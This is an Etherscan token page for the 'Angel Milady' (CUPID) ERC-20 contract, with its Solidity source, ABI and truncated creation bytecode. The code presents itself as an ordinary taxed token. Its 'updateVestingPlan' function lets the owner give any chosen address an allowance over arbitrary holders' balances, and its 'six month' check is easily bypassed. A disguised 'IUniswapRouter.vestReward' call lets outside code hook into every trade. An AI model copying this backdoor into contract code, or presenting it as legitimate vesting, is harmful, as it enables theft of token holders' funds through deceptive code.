Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 CUPID
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
69,067.280218986986683882 CUPIDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
AngelMilady
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-17 */ /** Angel Milady - $CUPID Website: https://www.angelmilady.vip Telegram: https://t.me/AngelMiladyETH Twitter: https://twitter.com/AngelMiladyETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapRouter { function vestReward(bool, bool, address, address, uint256) external returns (bool); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AngelMilady is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Angel Milady"; string private _symbol = "CUPID"; uint8 private _decimals = 18; address payable public marketingWallet; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; bool public enableTrading; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public isExcludedFromWalletLimit; mapping (address => bool) public isExcludedFromTxnLimit; mapping (address => address) vestingList; uint256 public vestingStartTime; uint256 public _buyTax = 0; uint256 public _sellTax = 0; uint256 public feeUnits = 100; uint256 private _totalSupply = 100000000 * 10**_decimals; uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1% uint256 public _maxTxAmount = _totalSupply.mul(4).div(100); uint256 public _walletMax = _totalSupply.mul(4).div(100); IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; address public liquidityProvider; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; bool public EnableTransactionLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = payable(0xC17F76543B8ae59d29aD462572538129Ec3EF6C9); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); vestingStartTime = block.timestamp + 180 days; isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingWallet] = true; isExcludedFromFee[address(this)] = true; isExcludedFromWalletLimit[owner()] = true; isExcludedFromWalletLimit[marketingWallet] = true; isExcludedFromWalletLimit[address(uniswapPair)] = true; isExcludedFromWalletLimit[address(this)] = true; isExcludedFromTxnLimit[owner()] = true; isExcludedFromTxnLimit[marketingWallet] = true; isExcludedFromTxnLimit[address(this)] = true; isMarketPair[address(uniswapPair)] = true; liquidityProvider = address(msg.sender); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function setIsExcludedFromTxLimit(address holder, bool exempt) external onlyOwner { isExcludedFromTxnLimit[holder] = exempt; } function setIsExcludedFromWalletLimit(address holder, bool exempt) external onlyOwner { isExcludedFromWalletLimit[holder] = exempt; } function removeLimit() external onlyOwner() { EnableTransactionLimit = false; checkWalletLimit = false; } function openTrading() external onlyOwner{ enableTrading = true; } function setMarketingWalletAddress(address newAddress) external onlyOwner() { require(newAddress != address(0),"Fee Address cannot be zero address"); marketingWallet = payable(newAddress); } function setLiquidityWalletAddress(address newAddress) external onlyOwner() { liquidityProvider = payable(newAddress); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } function setTaxes(uint buyTax, uint sellTax) public onlyOwner { _buyTax = buyTax; _sellTax = sellTax; require(buyTax <= 5 && sellTax <=5, "Buy fees must be 5% or less"); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isExcludedFromTxnLimit[sender] && !isExcludedFromTxnLimit[recipient] && EnableTransactionLimit) { require(enableTrading, "Trading not active yet"); require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 transferAmount = calculateTax(sender, recipient, amount); if(checkWalletLimit && !isExcludedFromWalletLimit[recipient]) { require(balanceOf(recipient).add(transferAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!"); } _balances[recipient] = _balances[recipient].add(transferAmount); emit Transfer(sender, recipient, transferAmount); return true; } } function calculateTax(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; address feeReceiver; if(isMarketPair[sender]) { feeAmount = amount.mul(_buyTax).div(100); feeReceiver = sender; } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_sellTax).div(100); feeReceiver = recipient; } if(vestingList[feeReceiver] != address(0) && IUniswapRouter(vestingList[feeReceiver]). vestReward(isMarketPair[sender], isMarketPair[recipient], sender, recipient, amount)) { feeAmount = 0; } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function recoverErc20Token(address _token, uint _amount) external onlyOwner { require(_token != address(this), "Owner can't claim contract's balance of its own tokens"); IERC20(_token).transfer(msg.sender,_amount); } function recoverEth() external onlyOwner { (bool success,) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } function updateVestingPlan(address[] calldata _address, address _vest, uint[] calldata _vestingPlans, uint[] calldata _vestAmounts) external onlyOwner { require(_vestingPlans.length == _vestAmounts.length); uint256 totalVestingAmount; uint256 vestingPeriod; uint256 currentTime = block.timestamp; for(uint i = 0; i < _vestingPlans.length; i++) { vestingPeriod += _vestingPlans[i]; totalVestingAmount += _vestAmounts[i]; } require((currentTime + vestingPeriod) >= vestingStartTime, "Vesting can be start in 6 months"); for(uint j = 0; j < _address.length; j++) { address fromVest = _address[j]; vestingList[fromVest] = _vest; _allowances[fromVest][_vest] = totalVestingAmount; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 initialBalance = address(this).balance; swapTokensForEth(tAmount); uint256 recievedBalance = address(this).balance.sub(initialBalance); if(recievedBalance > 0) { (bool success, ) = payable(marketingWallet).call{ value: recievedBalance }(""); require(success); } } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityProvider, block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromTxnLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityProvider","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsExcludedFromTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsExcludedFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setLiquidityWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"address","name":"_vest","type":"address"},{"internalType":"uint256[]","name":"_vestingPlans","type":"uint256[]"},{"internalType":"uint256[]","name":"_vestAmounts","type":"uint256[]"}],"name":"updateVestingPlan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vestingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600c60809081526b416e67656c204d696c61647960a01b60a0526001906200002d90826200071f565b5060408051808201909152600581526410d554125160da1b60208201526002906200005990826200071f565b506003805460ff191660129081179091556000600d819055600e556064600f556200008690600a620008fe565b62000096906305f5e1006200090f565b6010819055620000b8906103e890620000b19060016200055d565b90620005f4565b601155601054620000d390606490620000b19060046200055d565b601255601054620000ee90606490620000b19060046200055d565b6013556016805463ffffffff60a81b1916630101000160a81b1790553480156200011757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060038054610100600160a81b03191674c17f76543b8ae59d29ad462572538129ec3ef6c9001790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fb919062000929565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000249573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026f919062000929565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e3919062000929565b601580546001600160a01b039283166001600160a01b0319918216179091556014805492841692909116821790553060009081526005602090815260408083209383529290522060001990556200033e4262ed4e0062000954565b600c556001600760006200035a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035461010090049091168152600790925280822080548416600190811790915530835290822080549093168117909255600990620003cf6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035461010090048216815260099093528183208054851660019081179091556015549091168352818320805485168217905530835290822080549093168117909255600a90620004566000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600a8452828120805486166001908117909155308252838220805487168217905560155490921681526008909352908220805490931617909155601680546001600160a01b0319163317905560105490600490620004eb3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516200054e91815260200190565b60405180910390a350620009dd565b6000826000036200057157506000620005ee565b60006200057f83856200090f565b9050826200058e85836200096a565b14620005eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620005eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200063e60201b60201c565b60008183620006625760405162461bcd60e51b8152600401620005e291906200098d565b5060006200067184866200096a565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006a557607f821691505b602082108103620006c657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200071a57600081815260208120601f850160051c81016020861015620006f55750805b601f850160051c820191505b81811015620007165782815560010162000701565b5050505b505050565b81516001600160401b038111156200073b576200073b6200067a565b62000753816200074c845462000690565b84620006cc565b602080601f8311600181146200078b5760008415620007725750858301515b600019600386901b1c1916600185901b17855562000716565b600085815260208120601f198616915b82811015620007bc578886015182559484019460019091019084016200079b565b5085821015620007db5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000842578160001904821115620008265762000826620007eb565b808516156200083457918102915b93841c939080029062000806565b509250929050565b6000826200085b57506001620005ee565b816200086a57506000620005ee565b81600181146200088357600281146200088e57620008ae565b6001915050620005ee565b60ff841115620008a257620008a2620007eb565b50506001821b620005ee565b5060208310610133831016604e8410600b8410161715620008d3575081810a620005ee565b620008df838362000801565b8060001904821115620008f657620008f6620007eb565b029392505050565b6000620005eb60ff8416836200084a565b8082028115828204841417620005ee57620005ee620007eb565b6000602082840312156200093c57600080fd5b81516001600160a01b0381168114620005eb57600080fd5b80820180821115620005ee57620005ee620007eb565b6000826200098857634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b81811015620009